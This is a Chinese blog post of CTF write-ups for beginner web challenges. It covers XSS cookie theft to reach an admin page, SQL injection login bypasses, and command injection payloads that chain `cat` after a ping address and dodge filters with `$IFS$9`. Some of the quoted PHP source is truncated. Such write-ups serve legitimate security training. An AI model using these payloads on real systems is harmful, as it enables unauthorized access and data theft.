CTF

攻防世界

WEB(新手练习区)

get_post

第一问,关于get,在url后面补充输入"?a=1"即可以get的形式上传参数
第二问,关于post,可以考虑使用HackBar中的POST功能来辅助完成b=2的参数上传。

用?拼接的方式可以以get的方式上传参数,用HackBar等可以实现post的参数上传。

BUUCTF

Basic

BUU XSS COURSE 1

打开网页发现有吐槽登陆两个页面

登陆页面无法使用,但是吐槽页面在输入内容后访问对应的网址可以看到输入的内容

由于现在的平台已经可以支持访问外网,于是使用自己搭建的xss平台项目,输入到吐槽页面然后访问对应的页面

之后即可在xss平台的后台看到对应的记录,这里有用的内容是cookie和HTTP_REFERER,如图所示:
image

然后在对应的靶机域名后加入/backend/admin.php,按图中的cookie修改对应的cookie字段,即可伪装成管理员登陆到后台管理页面,成功获取flag
image

Web

[SUCTF2019]EasySQL

  • 后端源码:
<?php
    session_start();

    include_once "config.php";

    $post = array();
    $get = array();
    global $MysqlLink;

    //GetPara();
    $MysqlLink = mysqli_connect("localhost",$datauser,$datapass);
    if(!$MysqlLink){
        die("Mysql Connect Error!");
    }
    $selectDB = mysqli_select_db($MysqlLink,$dataName);
    if(!$selectDB){
        die("Choose Database Error!");
    }

    foreach ($_POST as $k=>$v){
        if(!empty($v)&&is_string($v)){
            $post[$k] = trim(addslashes($v));
        }
    }
    foreach ($_GET as $k=>$v){
        }
    }
    //die();
    ?>

<html>
<head>
</head>

<body>

<a> Give me your flag, I will tell you if the flag is right. </ a>
<form action="" method="post">
<input type="text" name="query">
<input type="submit">
</form>
</body>
</html>

<?php

    if(isset($post['query'])){
        $BlackList = "prepare|flag|unhex|xml|drop|create|insert|like|regexp|outfile|readfile|where|from|union|update|delete|if|sleep|extractvalue|updatexml|or|and|&|\"";
        //var_dump(preg_match("/{$BlackList}/is",$post['query']));
        if(preg_match("/{$BlackList}/is",$post['query'])){
            //echo $post['query'];
            die("Nonono.");
        }
        if(strlen($post['query'])>40){
            die("Too long.");
        }
        $sql = "select ".$post['query']."||flag from Flag";
        mysqli_multi_query($MysqlLink,$sql);
        do{
            if($res = mysqli_store_result($MysqlLink)){
                while($row = mysqli_fetch_row($res)){
                    print_r($row);
                }
            }
        }while(@mysqli_next_result($MysqlLink));

    }

    ?>
  • payload:*,1

[极客大挑战 2019]EasySQL

  • 用户名和密码均输入1时,正常回显,提示用户名或密码错误。
  • 尝试在1后面添加单引号,发现报错,说明存在字符型注入。
  • 于是尝试使用一些万能公式:
1 and 1=1
1' and '1'='1
1 or 1=1 
1' or '1'='1

最后一个payload可以实现成功SQL注入,于是:

# payload
SELECT * FROM tables WHERE username='1' or '1'='1' and password='1' or '1'='1'
# 优先级排序:and 优先级高于 or,所以要计算 and 然后再计算 or
username='1'--->false
'1'='1'---> true
passwrod='1'--->false
'1'='1'--->true
false or (true and false) or true
false or false or true
false or true
#得出结果:true

# payload1
# 用户名:1' and '1'='1
# 密码:1' or '1'='1

# payload2
# 用户名:1' and '1'='2
# 密码:1' or '1'='1

# 本质上都是利用 and 和 or 的优先级进行判断,只要返回 TRUE 就没问题

[GXYCTF2019]Ping Ping Ping

  • 根据提示输入 /?ip=127.0.0.1 来进行测试,同时加入分号ls尝试堆叠注入,发现目录下存在flag.php以及index.php文件
  • 采用cat命令尝试获取flag.php发现会对空格进行过滤,于是使用 $IFS$9 绕过空格过滤,发现flag这几个字符也被过滤了
  • 于是转而查看网页的index.php源码如下:
/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "
";
  print_r($a);
}

?>

于是尝试使用如下payload进行绕过:

# payload 1
?ip=127.0.0.1;a=ag;b=fl;cat$IFS$9$b$a.php
# payload 2
?ip=127.0.0.1;cat$IFS$1`ls`

注:flag在F12的中查看,被注释掉了。

[极客大挑战 2019]Secret File

注:最后要记得进行base64解码。

posted @ 2021-10-26 11:00  Weisswire  阅读(267)  评论(0编辑  收藏  举报